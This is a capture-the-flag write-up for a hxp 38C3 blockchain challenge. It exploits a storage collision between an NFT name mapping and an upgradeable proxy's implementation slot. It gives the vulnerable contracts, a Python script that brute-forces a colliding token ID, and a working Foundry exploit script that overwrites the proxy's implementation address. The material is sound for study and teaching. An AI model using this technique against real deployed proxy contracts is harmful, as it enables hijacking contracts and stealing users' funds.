984 words
5 minutes
hxp 38C3
2024-12-30

Introduction#

This challenge involves exploiting a storage collision vulnerability in a proxy contract setup with an NFT implementation. The system consists of two main contracts:

  • A proxy contract that handles upgrades and delegation
  • An implementation contract (CryptoFlags) that allows minting NFTs (ERC721) and setting unbounded string names for these NFTs

The key aspect is that any storage changes in the implementation contract affect the proxy’s storage due to how delegatecall works.

The proxy:

//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.20;

contract UpgradeableProxy {
    // keccak256("owner_storage");
    bytes32 public constant OWNER_STORAGE = 0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb;
    // keccak256("implementation_storage");
    bytes32 public constant IMPLEMENTATION_STORAGE = 0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6;

    struct AddressSlot {
        address value;
    }

    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }

    constructor() {
        AddressSlot storage owner = getAddressSlot(OWNER_STORAGE);
        owner.value = msg.sender;
    }

    function upgradeTo(address implementation) external {
        require(msg.sender == getAddressSlot(OWNER_STORAGE).value, "Only owner can upgrade");
        getAddressSlot(IMPLEMENTATION_STORAGE).value = implementation;
    }

    function _delegate(address implementation) internal {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    fallback() external payable {
        _delegate(getAddressSlot(IMPLEMENTATION_STORAGE).value);
    }
}

and the implementation contract :

//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.20;

import "./ERC721_flattened.sol";

contract CryptoFlags is ERC721 {

    // slot 6
    mapping(uint256 => string) public FlagNames;
    constructor()
        ERC721("CryptoFlags", "CTF")
    {

    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal override virtual {
        // only a mint
        require(from == address(0), "no flag sharing pls :^)");
        // ?
        to; tokenId;
    }

    function setFlagName(uint256 id, string memory name) external {
        require(ownerOf(id) == msg.sender, "Only owner can name the flag");
        require(bytes(FlagNames[id]).length == 0, "that flag already has a name");
        FlagNames[id] = name;
    }

    function claimFlag(uint256 id) external {
        require(id <= 100_000_000, "Only the first 100_000_000 ids allowed");
        _mint(msg.sender, id);
    }

    function isSolved() external pure returns (bool) {
        return false;
    }
}

Understanding the Vulnerability#

The goal is to create a storage collision between an NFT’s name and the proxy’s implementation address storage slot:

// keccak256("implementation_storage");
bytes32 public constant IMPLEMENTATION_STORAGE = 0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6;

This is possible because we can set names for any NFT within the first 100,000,000 IDs.

Storage Layout in EVM#

Let’s break down how storage works:

  • EVM has 2^256 slots
  • For mappings, values are stored at keccak256(key + slot) where slot is the declaration position:
function findMapLocation(uint256 key, uint256 slot) public pure returns (uint256) {
            return uint256(keccak256(abi.encode(key, slot)));
        }

String Storage Mechanics#

Strings in Solidity can be stored in two ways:

  • Short strings (≤32 bytes): Stored directly at the computed slot

  • Long strings (>32 bytes):

    • Length stored at the computed slot
    • Actual data stored at keccak256(slot)

For our NFT with ID x, the storage locations would be:

// Short string
uint256 slot = uint256(keccak256(abi.encode(x, 6)))

// Long string
uint256 slot = uint256(keccak256(abi.encode(x, 6)))
uint256 valueOffset = uint256(keccak256(abi.encode(slot)))

Exploitation#

Finding the Collision#

I wrote a Python script to find potential collisions by checking all possible NFT IDs and string storage locations:

import eth_utils
from eth_utils import keccak

def compute_mapping_slot(id, base_slot):
    # Convert parameters to bytes and pad to 32 bytes
    id_bytes = eth_utils.to_bytes(hexstr=hex(id)[2:].zfill(64))
    slot_bytes = eth_utils.to_bytes(hexstr=hex(base_slot)[2:].zfill(64))
    
    # Concatenate and hash
    concat = id_bytes + slot_bytes
    result = int.from_bytes(keccak(concat), 'big')
    return result


def find_closest_slots():
    OWNER_STORAGE = 0x6ec82d6c1818e9fe1ca828d3577e9b2dadd8d4720dd58701606af804c069cfcb
    IMPLEMENTATION_STORAGE = 0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6
    
    # Storage slots for mappings in ERC721 and our contract
    FLAGNAMES_SLOT = 6  # six storage slot for FlagNames mapping
    
    closest_to_owner = (float('inf'), None, None)
    closest_to_implementation = (float('inf'), None, None)
    
    # Test different IDs and string lengths
    for id in range(100_000_000):  # According to contract limit
        # Calculate storage slot for this ID's flag name
        storage_slot = compute_mapping_slot(id, FLAGNAMES_SLOT)
        
        
        # For strings <= 31 bytes (stored inline)
        if storage_slot < OWNER_STORAGE :
            diff_owner = abs(storage_slot - OWNER_STORAGE)
        
            if diff_owner < closest_to_owner[0]:
                closest_to_owner = (diff_owner, id, "short")

        if storage_slot < IMPLEMENTATION_STORAGE:
            diff_impl = abs(storage_slot - IMPLEMENTATION_STORAGE)
                
            if diff_impl < closest_to_implementation[0]:
                closest_to_implementation = (diff_impl, id, "short")
        
        # For strings > 32 bytes (stored at keccak of slot)
        dynamic_slot = int.from_bytes(keccak(storage_slot.to_bytes(32, 'big')), 'big')
        
        if dynamic_slot < OWNER_STORAGE :
            diff_owner = abs(dynamic_slot - OWNER_STORAGE)
            if diff_owner < closest_to_owner[0]:
                closest_to_owner = (diff_owner, id, "long")
        

        if dynamic_slot < IMPLEMENTATION_STORAGE:
            diff_impl = abs(dynamic_slot - IMPLEMENTATION_STORAGE)
            if diff_impl < closest_to_implementation[0]:
                closest_to_implementation = (diff_impl, id, "long")
        
        # Progress indicator every million iterations
        if id % 1_000_000 == 0:
            print(f"Processed {id:,} IDs...")
    
    return closest_to_owner, closest_to_implementation

def main():
    print("Starting analysis...")
    owner_result, impl_result = find_closest_slots()
    
    print("\nResults:")
    print(f"\nClosest to OWNER_STORAGE:")
    print(f"Difference: {owner_result[0]}")
    print(f"ID: {owner_result[1]}")
    print(f"String type: {owner_result[2]}")
    
    print(f"\nClosest to IMPLEMENTATION_STORAGE:")
    print(f"Difference: {impl_result[0]}")
    print(f"ID: {impl_result[1]}")
    print(f"String type: {impl_result[2]}")

if __name__ == "__main__":
    main()

The script found that NFT ID 56488061 with a long string would give us a collision at offset 141 from the implementation storage slot:

Results:

Closest to OWNER_STORAGE:
Difference: 602641329853891472628429529548778136057339432943191408590826256368928
ID: 16665064
String type: short

Closest to IMPLEMENTATION_STORAGE:
Difference: 141
ID: 56488061
String type: long

Foundry script#

Here’s the exploit contract that leverages this finding:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Setup} from "../src/Setup.sol";
import {CryptoFlags} from "../src/CryptoFlags.sol";

contract SolveScript is Script {
    Setup setup;
    CryptoFlags cryptoFlags;
    Soluce soluce;
    function setUp() public {}

    function run() public virtual {
        uint256 id = 56488061;
        vm.startBroadcast();
        setup = Setup(0x98f075BB612c9A5F92d253C798B6345A9ecebF29);
        soluce = new Soluce();

        cryptoFlags = setup.cryptoFlags();
        cryptoFlags.claimFlag(id);


        /* Closest to IMPLEMENTATION_STORAGE:
        Difference: 141
        ID: 56488061
        String type: long */

        // full 141 slot
        bytes memory payload = hex"";
        for (uint i; i < 141; i++){
            payload = bytes.concat(payload, hex'0000000000000000000000000000000000000000000000000000000000000000');
        }
        payload = bytes.concat(payload, bytes32(uint256(uint160(address(soluce)))));

        cryptoFlags.setFlagName(id, string(payload));

        bytes32 addr = vm.load(address(cryptoFlags), bytes32(0xb6753470eb6d4b1c922b6fc73d6f139c74e8cf70d68951794272d43bed766bd6));
        require(address(addr) == address(soluce), "impl addr didn't change");

        vm.stopBroadcast();

        require(setup.isSolved(), "did not solve :'(");
    }
}

contract Soluce {

    function isSolved() external pure returns (bool) {
        return true;
    }

}

Running the exploit gave us the flag:

nc 10.244.0.1 1234
hxp{n3v3r_7ru57_pr3c0mpu73d_v4lu35}

Thanks for reading! Looking forward to sharing more blockchain exploitation and reverse engineering challenges with you in the future.